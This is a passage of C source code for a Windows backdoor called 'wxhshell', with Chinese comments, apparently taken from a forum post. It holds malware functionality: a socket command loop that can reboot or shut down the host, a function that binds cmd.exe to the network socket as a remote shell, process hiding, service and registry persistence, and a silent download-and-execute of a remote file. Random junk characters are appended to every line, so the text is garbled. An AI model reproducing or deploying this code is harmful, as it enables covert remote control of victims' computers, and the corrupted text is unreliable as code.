      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F+m }#p  
    break; Ep9W-n?}  
  } M{g%cR0  
  // 安装 */:uV B,b2  
  case 'i': { >-8cU_m7s  
    if(Install()) 6;'dUGvH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?wc*N3  
    else .*g0w`H5pU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ':{>a28=  
    break; a.N{-2ptH  
    } VTy9_~q  
  // 卸载 Xpe)PXb  
  case 'r': { %D$]VSP;  
    if(Uninstall()) >/[GTqi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ApBWuXp|u  
    else F8-?dpf'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Eu6U`"(  
    break; ~5FW [_  
    } 4}+/F}TbJ5  
  // 显示 wxhshell 所在路径 Od f[*  
  case 'p': { 7xRl9  
    char svExeFile[MAX_PATH]; &xRo^iV?  
    strcpy(svExeFile,"\n\r"); Q></`QWpoB  
      strcat(svExeFile,ExeFile); ) e5 @  
        send(wsh,svExeFile,strlen(svExeFile),0); wLK07e(  
    break; (e(:P~Ry  
    } <-D/O$q  
  // 重启 ^8.]d~j  
  case 'b': { YIw1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ab:/!Z  
    if(Boot(REBOOT)) T,aW8|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9Hcdbdm  
    else { fhL,aCS=  
    closesocket(wsh); nt*Hc1I  
    ExitThread(0); R2Zgx\VV'  
    } MxT-1&XL  
    break; |$?bc3  
    } _ODbY;M  
  // 关机 ,eTU/Q>{,&  
  case 'd': { T5a*z}L5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h1'\:N`  
    if(Boot(SHUTDOWN)) pe^u$YE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ULMu19>  
    else { I f\fLhM  
    closesocket(wsh); 6DH~dL_",%  
    ExitThread(0); "g$IP9?U  
    } /p8dZ+X  
    break; O,Cb"{qH8  
    } nBk)WX&[K  
  // 获取shell uj :%#u  
  case 's': { BNL;Biy t7  
    CmdShell(wsh); uEX!xx?Q#  
    closesocket(wsh); JvY}-}?c  
    ExitThread(0); H$y-8-&)  
    break; 0`^&9nR  
  } |JQQU! x  
  // 退出 IiG6<|d8H  
  case 'x': { >0"+4<72  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^]TVo\,N  
    CloseIt(wsh); c%MW\qx  
    break; l1f\=G?tmU  
    } O)[1x4U  
  // 离开 vM5k_D  
  case 'q': { 6I%5Q4Ll  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e)(wss+d7P  
    closesocket(wsh); #{?qNl8F*J  
    WSACleanup(); 'FDef#P<  
    exit(1); =weSyZ1~  
    break; -3Hy*1A.  
        } 2 B  
  } J:Qa5MTWp  
  } Z'\h  
8P|D13- Q  
  // 提示信息 DAXX;4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e J6$-r  
} =>_\fNy  
  } m6w].-D8  
p>4-s, W  
  return; dw*_(ys  
} XCBL}pNkR  
INJEsz  
// shell模块句柄 cLLbZ=`  
int CmdShell(SOCKET sock) iv4H#rJ  
{ `hQ5VJo  
STARTUPINFO si; Fvbh\m ~  
ZeroMemory(&si,sizeof(si)); 4rLL[??  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]@phF _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sG F aL  
PROCESS_INFORMATION ProcessInfo; ]x(!&y:h  
char cmdline[]="cmd"; {0WHn.,2Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $42{HFGq  
  return 0; a6uJYhS~  
} |>dI/_'  
=w{Z@S(ukz  
// 自身启动模式 vkri+:S3  
int StartFromService(void) Zcx`SC-0  
{ e]zBf;9 J  
typedef struct bcE._9@@  
{ PamO8^!G  
  DWORD ExitStatus; Pu"P9  
  DWORD PebBaseAddress; 1pgU}sRk  
  DWORD AffinityMask; (&F ,AY3A  
  DWORD BasePriority; ZZzMO6US0  
  ULONG UniqueProcessId; pC@{DW;V6R  
  ULONG InheritedFromUniqueProcessId; {#@W)4)cA  
}   PROCESS_BASIC_INFORMATION; M 0U 0;QJ  
YwjKAyLU  
PROCNTQSIP NtQueryInformationProcess; J^Wa8Q;9lX  
[J?aD`{#O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F^];U+J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <+?7H\b  
mc? Vq  
  HANDLE             hProcess; dtRwTUMe?  
  PROCESS_BASIC_INFORMATION pbi; paCV!tP  
%z,m B$LY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rWR}Stc@]  
  if(NULL == hInst ) return 0; 7%x[q}  
',JinE95  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0tT(W^ho g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :&V h?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?kbiMs1;u  
c7x~{V8  
  if (!NtQueryInformationProcess) return 0; >I-RGW'A  
*Doa* wQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LnH?dy  
  if(!hProcess) return 0; CYY=R'1:G{  
$QLcH;+7t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8 Hg+H=?  
2fn&#kw/  
  CloseHandle(hProcess); 0=2@  
'h|DO/X~L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P2#XKG  
if(hProcess==NULL) return 0; K8GP@yD]M  
nxnv,AZG  
HMODULE hMod; W{6|tx)  
char procName[255]; Y 5- F@(  
unsigned long cbNeeded; $5aV:Z3P  
z[L8$7L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Prg_6 `  
v$?+MNks  
  CloseHandle(hProcess); | *2w5iR  
}v}P .P  
if(strstr(procName,"services")) return 1; // 以服务启动 R;&AijS8  
7&jTtKLj  
  return 0; // 注册表启动 K* LlW@  
} yerg=,$_i  
a|t$l=|DD  
// 主模块 XDOY`N^L  
int StartWxhshell(LPSTR lpCmdLine) 96( v  
{ .WA-&b_  
  SOCKET wsl; qr"3y  
BOOL val=TRUE; x[ ~b2o  
  int port=0; Lt?lv2k=L  
  struct sockaddr_in door; Y']\Jq{OS  
G|!Tj X7s  
  if(wscfg.ws_autoins) Install(); |"ls\ 7  
}YGV\Nu  
port=atoi(lpCmdLine); B~MU^ |v  
n8~N$tDU  
if(port<=0) port=wscfg.ws_port; #Z?A2r!1  
vdivq^%=a  
  WSADATA data; {6|38$Rl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y!-M_v/  
46_xyz3+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &Cr:6W@A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _n0CfH.v  
  door.sin_family = AF_INET; }~e8e   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,<(}|go   
  door.sin_port = htons(port); :}'=`wa  
e^6)Zz1\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <wN}X#M  
closesocket(wsl); Y,<{vLEC  
return 1; ]7W&JKmA&  
} :~&~y-14  
FH?U(-  
  if(listen(wsl,2) == INVALID_SOCKET) { t3 8m'J :>  
closesocket(wsl); BO~ 0ON0  
return 1; HVR /7&g  
} ry`Ho8N  
  Wxhshell(wsl); x -WmMfcz&  
  WSACleanup(); ak$f"py x  
CGW.I$u  
return 0; T*Y~\~Jhu  
[kVS O  
} a!6{:8Zi0  
deBY5|  
// 以NT服务方式启动 wN_Vfb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MU@UfB|;u  
{ 44ek IV+?  
DWORD   status = 0; W9 GxXPA  
  DWORD   specificError = 0xfffffff; k9sh @ENy  
vYwYQG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %KC yb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F~R;n_IJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hgYZOwQ  
  serviceStatus.dwWin32ExitCode     = 0; 0fb2;&pUa  
  serviceStatus.dwServiceSpecificExitCode = 0; s Ep"D+f  
  serviceStatus.dwCheckPoint       = 0; (9''MlGd%  
  serviceStatus.dwWaitHint       = 0; kyR:[+je  
uw>Ba %5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g1/:Q%R,  
  if (hServiceStatusHandle==0) return; l%k\JY-  
7OcW C-<  
status = GetLastError(); q<xCb%#Jl  
  if (status!=NO_ERROR) [%"|G9  
{ |GdUL%1hnC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n,vct<&z@  
    serviceStatus.dwCheckPoint       = 0; o5Dk:Bw  
    serviceStatus.dwWaitHint       = 0; x[FJgI'r  
    serviceStatus.dwWin32ExitCode     = status; lHN5Dr  
    serviceStatus.dwServiceSpecificExitCode = specificError; |s7s6k)mm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6bV?nc  
    return; bkOv2tZ  
  } Q3kdlxXR  
-]0OKE&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Gpylj7?~  
  serviceStatus.dwCheckPoint       = 0; 5kc/Y/4o  
  serviceStatus.dwWaitHint       = 0; f',Op1o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ePOG}k($/%  
} 1!xQ=DU"  
,Xu-@br{  
// 处理NT服务事件,比如:启动、停止 @E&J_un  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NW~N}5T  
{ so,t   
switch(fdwControl) NO*u9YH?  
{ ((YMVe  
case SERVICE_CONTROL_STOP: Rvqq.I8aC  
  serviceStatus.dwWin32ExitCode = 0; RD!&LFz/}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &jS>UsGh  
  serviceStatus.dwCheckPoint   = 0; z Xg3[orF  
  serviceStatus.dwWaitHint     = 0; b o6d)Q  
  { zU5v /'h>d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qzYwt]GNS  
  } R5N%e%[  
  return; CuaVb1r  
case SERVICE_CONTROL_PAUSE: ^h(ew1:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .p<:II:6  
  break; nD_GL  
case SERVICE_CONTROL_CONTINUE: |U:k,YH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E-T)*`e  
  break; lEH65;Nh*  
case SERVICE_CONTROL_INTERROGATE: _F6OM5F"N  
  break; !EvAB+`jLI  
}; hr#M-K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {BP{C=p  
} QmQ=q7  
%6|nb:Oa  
// 标准应用程序主函数 5MroNr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H9'$C/w  
{ &W| [r(  
I,E?h?6Y  
// 获取操作系统版本 &fDIQISC  
OsIsNt=GetOsVer(); Tr_w]'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !{ y@od@T  
y*4=c _Z  
  // 从命令行安装 :vmH]{R  
  if(strpbrk(lpCmdLine,"iI")) Install(); GSoX<*i  
RVZ")Z(  
  // 下载执行文件 GA$V0YQX  
if(wscfg.ws_downexe) { `LrHKb aP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bBiE  
  WinExec(wscfg.ws_filenam,SW_HIDE); JgxtlYjl  
} \Z?9{J  
R|6Cv3:  
if(!OsIsNt) { M92dZ1+6  
// 如果时win9x,隐藏进程并且设置为注册表启动 tZ]?^_Y1  
HideProc(); / kF)  
StartWxhshell(lpCmdLine); )MtF23k)g  
} w^\52  
else  |tKsgj  
  if(StartFromService()) +jAGGv^)  
  // 以服务方式启动 fW{(lPx  
  StartServiceCtrlDispatcher(DispatchTable); {0L1X6eg  
else  `xKp%9  
  // 普通方式启动 T.])diuvj-  
  StartWxhshell(lpCmdLine); i[O& )N,c  
`fA@hK   
return 0; ^7 w+l @  
}
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只看该作者 1 发表于: 2006-10-10
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